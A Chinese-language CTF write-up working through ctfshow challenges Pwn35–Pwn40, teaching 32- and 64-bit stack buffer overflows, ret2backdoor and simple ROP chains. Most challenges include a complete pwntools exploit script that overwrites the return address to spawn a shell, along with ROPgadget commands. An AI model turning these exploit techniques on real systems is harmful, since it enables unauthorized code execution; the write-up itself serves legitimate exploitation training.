一入Pwn界深似海,从此头发是路人

Pwn35

image-20231208140956575

题目提示说是来一个最最最最最简单的,那就先连上看看呗

image-20231208144646032

连上以后ls一下发现当前目录下有一个pwnme文件,运行一下

image-20231208144735406

没什么头绪,那就转过头来分析题目给我们的文件吧,分析发现在ctfshow函数中存在栈溢出漏洞,让它溢出一下试试

image-20231208163943091

image-20231208164236433

由于变量是通过ebp索引的故可以推断出,偏移量为0x6C,(这里提一嘴,关于偏移量计算的方法在这里我不进行赘述了,偏移量计算的方法在我之前的文章《Pwn入门之基础栈溢出》中进行过细致的讲解,不太懂得朋友可以去看一下)开搞

image-20231208165331257

直接给他来个长度为108的参数,得到flag

image-20231208165413759

Pwn36

image-20231208165703746

还是老规矩下载文件分析文件

image-20231208165902639

题目的提示是存在后门函数,如何利用,也就是说在程序中有后门,使用ida分析一手

image-20231210100528811

image-20231210100542374

image-20231210100043734

看程序可以知道get_flag就是我们可以利用的后门函数,而且通过分析可以发现我们的程序是通过ebp进行索引的,那我们就容易得多,偏移量直接就能找到,这样的话我们的我们就可以这样构造

image-20231210101016539

这里的0x08048586get_flag的地址,通过ida可以直接分析出来

image-20231210111705206

所以最终构造的exp如下

from pwn import *
r = remote(题目地址, 端口号)
offset = 0x28
flag_address = 0x08048586
payload = offset * 'a' + 'bbbb' + p32(flag_address)
r.sendline(payload)
r.interactive()

image-20231210101754137

Pwn37

image-20231210102157402

题目提示说的是给了个32位的system("/bin/sh")后门函数,还是老规矩查看信息+ida分析

image-20231210105529602

image-20231210111312345

image-20231210111326567

image-20231210112243620

其实跟前面的一样,无非是换了个函数名以及偏移量改动了一下,构造的栈空间也跟前面类似,如下图所示。

image-20231210135925243

所以最终构造的exp如下

from pwn import *
r = remote(地址,端口号)
offset = 0x12
backdoor = 0x08048521
payload = offset * 'a' + 'bbbb' + p32(backdoor)
r.sendline(payload)
r.interactive()

image-20231210141651235

image-20231210141728521

Pwn38

image-20231210141810428

难度上来了,64位程序了,遇到事情不要慌我们继续按照之前的套路来,先查看程序信息再分析ida从而构建最后的exp

image-20231210143000275

返回地址和寄存器的长度都是8个字节,buf通过rbp索引的,所以覆盖长度就变成了0xA+0x8

image-20231210150154889

image-20231210150125576

这里需要使用lea命令的地址作为返回地址

image-20231210150923613

所以最终构造的exp如下

from pwn import *
r = remote(地址,端口)
offset = 0xA
bin_sh = 0x000000000040065B
payload = offset * 'A' + 0x8 * 'B' + p64(bin_sh)
r.sendline(payload)
r.interactive()

image-20231210151308088

image-20231210151333734

Pwn39

image-20231210152008560

看题目给的提示应该是把system("/bin/sh")拆分开了,还是跟之前一样,查看信息,ida分析

image-20231210152123363

image-20231210153322396

image-20231210153333275

如我们所想是将system/bin/sh分开了

这样的话只是需要多走一步,将/bin/sh作为参数传入到system里,也就是gadgets,关于gedgets是啥,还是老规矩,可以去参考之前的文章,文章里面做了详细的解释

所以最后我们的payload的构造思路是这样的

偏移+危险函数地址+0x4*b+参数地址

这么写的原因是因为32位程序的函数调用栈规则导致的,我们可以用一张比较直观的图进行表示

image-20231210162610525

思路捋通了我们就开始找构造exp所需要用到的几个关键地址

/bin/sh的地址:0x08048750

image-20231210163554522

system的地址:0x080483A0

image-20231210163722569

偏移量的计算就不多废话了直接出答案了

0x12

所以最终的exp如下

from pwn import *
r = remote(地址,端口)
offset = 0x12
bin_sh_addr = 0x08048750
system_addr = 0x080483A0
payload = offset * 'a' + 'bbbb' + p32(system_addr) + 'cccc' + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()

image-20231210164411283

image-20231210164434687

Pwn40

image-20231210164835803

有前面的那道题这道题不难理解,这道题跟上一道题的差异就是32位传参和64位传参的不同,两者的差异如下

  • x86

    • 使用栈来传递参数
    • 使用eax存放返回值
  • x64

    • 前6个参数一次存放于rdi、rsi、rdx、rcx、r8、r9寄存器中
    • 第7个以后的参数存放于栈中

所以我们这里需要控制rdi的值,需要用到gadget

先找pop rdi、ret的地址

ROPgadget --binary pwn --only "pop|ret"

image-20231211015416260

/bin/sh的地址

ROPgadget --binary pwn --string "/bin/sh"

image-20231211015606949

ret地址用前面我们找的地址即可

image-20231211015702977

system的地址我们可以通过ida分析得到

image-20231211015850897

偏移量计算就不赘述了,所以最后构造的exp如下

from pwn import *
r = remote()
pop_rdi_addr = 0x00000000004007e3
bin_sh_addr = 0x0000000000400808
system_addr = 0x0000000000400520
ret_addr = 0x00000000004004fe
offset = 0xA
payload = offset * 'a' + 0x8 * 'b' + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

image-20231211021315332

最后修改:2023 年 12 月 11 日
如果觉得我的文章对你有用,请随意赞赏